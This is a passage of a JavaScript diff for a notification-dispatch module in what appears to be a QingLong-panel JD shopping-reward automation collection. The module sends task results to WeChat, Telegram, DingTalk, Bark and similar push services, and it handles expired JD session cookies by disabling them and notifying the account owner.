+注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +// =======================================BncrBot通知设置区域============================================== +//BncrHost 填写BncrHost地址,如https://192.168.31.192:9090 +//BncrToken 填写Bncr的消息应用Token +let BncrHost = ''; +let BncrToken = ''; + +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +const { + getEnvs, + DisableCk, + getEnvByPtPin +} = require('./ql'); +const fs = require('fs'); +let isnewql = fs.existsSync('/ql/data/config/auth.json'); +let strCKFile = ""; +let strUidFile = ""; +if (isnewql) { + strCKFile = '/ql/data/scripts/CKName_cache.json'; + strUidFile = '/ql/data/scripts/CK_WxPusherUid.json'; +} else { + strCKFile = '/ql/scripts/CKName_cache.json'; + strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +} + + +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("检测到别名缓存文件CKName_cache.json,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} + +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +let isLogin = false; +if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + if (ShowRemarkType == "2") + console.log("检测到显示备注名称,格式为: 京东别名(备注)"); + if (ShowRemarkType == "3") + console.log("检测到显示备注名称,格式为: 京东账号(备注)"); + if (ShowRemarkType == "4") + console.log("检测到显示备注名称,格式为: 备注"); +} +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + console.log(`开始发送通知...`); + + //NOTIFY_FILTERBYFILE代码来自Ca11back. + if (process.env.NOTIFY_FILTERBYFILE) { + var no_notify = process.env.NOTIFY_FILTERBYFILE.split('&'); + if (module.parent.filename) { + const script_name = module.parent.filename.split('/').slice(-1)[0]; + if (no_notify.some(key_word => { + const flag = script_name.includes(key_word); + if (flag) { + console.log(`${script_name}含有关键字${key_word},不推送`); + } + return flag; + })) { + return; + } + } + } + + try { + //Reset 变量 + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_WxPusher = true; + var strtext = text; + var strdesp = desp; + var titleIndex = -1; + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + } + if (process.env.NOTIFY_AUTOCHECKCK == "true") { + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1) { + console.log(`捕获CK过期通知,开始尝试处理...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + var llHaderror = false; + + if (strPtPin) { + var temptest = await getEnvByPtPin(strdecPtPin); + if (temptest) { + if (temptest.status == 0) { + isLogin = true; + await isLoginByX1a0He(temptest.value); + if (!isLogin) { + var tempid = 0; + if (temptest._id) { + tempid = temptest._id; + } + if (temptest.id) { + tempid = temptest.id; + } + const DisableCkBody = await DisableCk(tempid); + strPtPin = temptest.value; + strPtPin = (strPtPin.match(/pt_pin=([^; ]+)(?=;?)/) && strPtPin.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strAllNotify = ""; + var MessageUserGp2 = ""; + var MessageUserGp3 = ""; + var MessageUserGp4 = ""; + + var userIndex2 = -1; + var userIndex3 = -1; + var userIndex4 = -1; + + var strNotifyOneTemp = ""; + if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + } + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === strPtPin); + + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === strPtPin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === strPtPin); + } + + if (userIndex2 != -1) { + console.log(`该账号属于分组2`); + text = "京东CK检测#2"; + } + if (userIndex3 != -1) { + console.log(`该账号属于分组3`); + text = "京东CK检测#3"; + } + if (userIndex4 != -1) { + console.log(`该账号属于分组4`); + text = "京东CK检测#4"; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + text = "京东CK检测"; + } + if (process.env.CHECKCK_ALLNOTIFY) { + strAllNotify = process.env.CHECKCK_ALLNOTIFY; + /* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + }*/ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); + } + + if (DisableCkBody.code == 200) { + console.log(`京东账号` + strdecPtPin + `已失效,自动禁用成功!\n`); + + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin,'\n\n本通知 By ccwav Mod',`账号下线通知`); + } + + } else { + console.log(`京东账号` + strPtPin + `已失效,自动禁用失败!\n`); + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin,'\n\n本通知 By ccwav Mod',`账号下线通知`); + } + } + } else { + console.log(`该CK已经检测没有有效,跳过通知...`); + llHaderror = true; + } + } else { + console.log(`该CK已经禁用不需要处理`); + llHaderror = true; + } + + } + + } else { + console.log(`CK过期通知处理失败...`); + } + if (llHaderror) + return; + } + } + + if (strtext.indexOf("cookie已失效") != -1 || strdesp.indexOf("重新登录获取") != -1 || strtext == "Ninja 运行通知") { + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + console.log(`检测到NOTIFY_NOCKFALSE变量为true,不发送ck失效通知...`); + return; + } + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + console.log("通知标题: " + strTitle); + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + titleIndex = notifySkipList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${strTitle} 在推送黑名单中,已跳过推送`); + return; + } + + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + for (lncount = 2; lncount < 20; lncount++) { + if (process.env["NOTIFY_GROUP" + lncount + "_LIST"]) { + const strtemp = process.env["NOTIFY_GROUP" + lncount + "_LIST"]; + const notifyGroupList = strtemp ? strtemp.split('&') : []; + const titleIndex = notifyGroupList.findIndex((item) => item === strTitle); + if (titleIndex !== -1) { + console.log(`${strTitle} 在群组${lncount}推送名单中,初始化群组推送`); + UseGroupNotify = lncount; + } + } + } + + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1].indexOf("组") != -1) { + UseGroupNotify = strCustomTempArr[1].replace("组", "") * 1; + console.log("自定义设定强制使用组" + UseGroupNotify + "配置通知..."); + } else { + UseGroupNotify = 1; + } + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + } + if (desp) { + for (lncount = 2; lncount < 20; lncount++) { + if (process.env["NOTIFY_INCLUDE_TEXT" + lncount]) { + Notify_IncludeText = process.env["NOTIFY_INCLUDE_TEXT" + lncount].split('&'); + if (Notify_IncludeText.length > 0) { + for (var Templ in Notify_IncludeText) { + if (desp.indexOf(Notify_IncludeText[Templ]) != -1) { + console.log("检测内容到内容存在组别推送的关键字(" + Notify_IncludeText[Templ] + "),将推送到组" + lncount + "..."); + UseGroupNotify = lncount; + break; + } + } + } + } + } + } + if (UseGroupNotify == 1) + UseGroupNotify = ""; + + if (process.env["GOBOT_URL" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_URL = process.env["GOBOT_URL" + UseGroupNotify]; + } + if (process.env["GOBOT_TOKEN" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_TOKEN = process.env["GOBOT_TOKEN" + UseGroupNotify]; + } + if (process.env["GOBOT_QQ" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_QQ = process.env["GOBOT_QQ" + UseGroupNotify]; + } + + if (process.env["PUSH_KEY" + UseGroupNotify] && Use_serverNotify) { + SCKEY = process.env["PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["WP_APP_TOKEN" + UseGroupNotify] && Use_WxPusher) { + WP_APP_TOKEN = process.env["WP_APP_TOKEN" + UseGroupNotify]; + } + + if (process.env["WP_TOPICIDS" + UseGroupNotify] && Use_WxPusher) { + WP_TOPICIDS = process.env["WP_TOPICIDS" + UseGroupNotify]; + } + + if (process.env["WP_UIDS" + UseGroupNotify] && Use_WxPusher) { + WP_UIDS = process.env["WP_UIDS" + UseGroupNotify]; + } + + if (process.env["WP_URL" + UseGroupNotify] && Use_WxPusher) { + WP_URL = process.env["WP_URL" + UseGroupNotify]; + } + if (process.env["BARK_PUSH" + UseGroupNotify] && Use_BarkNotify) { + if (process.env["BARK_PUSH" + UseGroupNotify].indexOf('https') > -1 || process.env["BARK_PUSH" + UseGroupNotify].indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env["BARK_PUSH" + UseGroupNotify]; + } else { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${process.env["BARK_PUSH" + UseGroupNotify]}`; + } + if (process.env["BARK_SOUND" + UseGroupNotify]) { + BARK_SOUND = process.env["BARK_SOUND" + UseGroupNotify]; + } + if (process.env["BARK_GROUP" + UseGroupNotify]) { + BARK_GROUP = process.env; + } + } + if (process.env["TG_BOT_TOKEN" + UseGroupNotify] && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env["TG_BOT_TOKEN" + UseGroupNotify]; + } + if (process.env["TG_USER_ID" + UseGroupNotify] && Use_tgBotNotify) { + TG_USER_ID = process.env["TG_USER_ID" + UseGroupNotify]; + } + if (process.env["TG_PROXY_AUTH"]) + TG_PROXY_AUTH = process.env["TG_PROXY_AUTH"]; + if (process.env["TG_PROXY_HOST"]) + TG_PROXY_HOST = process.env["TG_PROXY_HOST"]; + if (process.env["TG_PROXY_PORT"]) + TG_PROXY_PORT = process.env["TG_PROXY_PORT"]; + if (process.env["TG_API_HOST"]) + TG_API_HOST = process.env["TG_API_HOST"]; + + if (process.env["DD_BOT_TOKEN" + UseGroupNotify] && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env["DD_BOT_TOKEN" + UseGroupNotify]; + if (process.env["DD_BOT_SECRET" + UseGroupNotify]) { + DD_BOT_SECRET = process.env["DD_BOT_SECRET" + UseGroupNotify]; + } + } + + if (process.env["QYWX_KEY" + UseGroupNotify] && Use_qywxBotNotify) { + QYWX_KEY = process.env["QYWX_KEY" + UseGroupNotify]; + } + + if (process.env["QYWX_AM" + UseGroupNotify] && Use_qywxamNotify) { + QYWX_AM = process.env["QYWX_AM" + UseGroupNotify]; + } + + if (process.env["IGOT_PUSH_KEY" + UseGroupNotify] && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env["IGOT_PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["PUSH_PLUS_TOKEN" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env["PUSH_PLUS_TOKEN" + UseGroupNotify]; + } + if (process.env["PUSH_PLUS_USER" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env["PUSH_PLUS_USER" + UseGroupNotify]; + } + if (process.env["GOTIFY_URL" + UseGroupNotify]) { + GOTIFY_URL = process.env["GOTIFY_URL" + UseGroupNotify]; + } + if (process.env["GOTIFY_TOKEN" + UseGroupNotify]) { + GOTIFY_TOKEN = process.env["GOTIFY_TOKEN" + UseGroupNotify]; + } + if (process.env["GOTIFY_PRIORITY" + UseGroupNotify]) { + GOTIFY_PRIORITY = process.env["GOTIFY_PRIORITY" + UseGroupNotify]; + } + if (process.env["BncrHost" + UseGroupNotify]) { + BncrHost = process.env["BncrHost" + UseGroupNotify]; + } + if (process.env["BncrToken" + UseGroupNotify]) { + BncrToken = process.env["BncrToken" + UseGroupNotify]; + } + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("sendNotify正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.Remark = getRemark(envs[i].remarks); + $.nickName = ""; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + var Tempinfo = ""; + if (envs[i].created) + Tempinfo = getQLinfo(cookie, envs[i].created, envs[i].timestamp, envs[i].remarks); + else + if (envs[i].updatedAt) + Tempinfo = getQLinfo(cookie, envs[i].createdAt, envs[i].updatedAt, envs[i].remarks); + else + Tempinfo = getQLinfo(cookie, envs[i].createdAt, envs[i].timestamp, envs[i].remarks); + if (Tempinfo) { + $.Remark += Tempinfo; + } + } + + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + desp = buildLastDesp(desp, author); + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp, strsummary), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + bncrNotify(text, desp), //bncr + wxpusherNotify(text, desp) // wxpusher + ]); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 0; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + if (!strTempuuid) { + console.log("检索资料失败..."); + } + } + } + if (!strTempuuid && TempCKUid) { + console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +function getQLinfo(strCK, intcreated, strTimestamp, strRemark) { + var strCheckCK = strCK.match(/pt_key=([^; ]+)(?=;?)/) && strCK.match(/pt_key=([^; ]+)(?=;?)/)[1]; + var strPtPin = decodeURIComponent(strCK.match(/pt_pin=([^; ]+)(?=;?)/) && strCK.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strReturn = ""; + if (strCheckCK.substring(0, 3) == "AAJ") { + var DateCreated = new Date(intcreated); + var DateTimestamp = new Date(strTimestamp); + var DateToday = new Date(); + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(strPtPin + ": 检测到NVJDC的备注格式,尝试获取登录时间,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length == 13) { + DateTimestamp = new Date(parseInt(TempRemarkList[j])); + //console.log(strPtPin + ": 获取登录时间成功:" + GetDateTime(DateTimestamp)); + break; + } + } + } + } + } + + //过期时间 + var UseDay = Math.ceil((DateToday.getTime() - DateCreated.getTime()) / 86400000); + var LogoutDay = 30 - Math.ceil((DateToday.getTime() - DateTimestamp.getTime()) / 86400000); + if (LogoutDay < 1) { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(账号即将到期,请重登续期)" + } else { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(有效期约剩" + LogoutDay + "天)" + } + + } + return strReturn +} + +function getRemark(strRemark) { + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + return TempRemarkList[0].trim(); + } else { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + return strRemark.trim(); + } + } else { + return ""; + } +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + + try { + var Uid = ""; + var UserRemark = ""; + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + if (WP_APP_TOKEN_ONE) { + var tempEnv = await getEnvByPtPin(PtPin); + if (tempEnv) { + cookie = tempEnv.value; + Uid = getuuid(tempEnv.remarks, PtPin); + UserRemark = getRemark(tempEnv.remarks); + + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + + if (text == "京东资产变动") { + try { + $.nickName = ""; + $.FoundPin = ""; + $.UserName = PtPin; + if (tempEnv.status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if 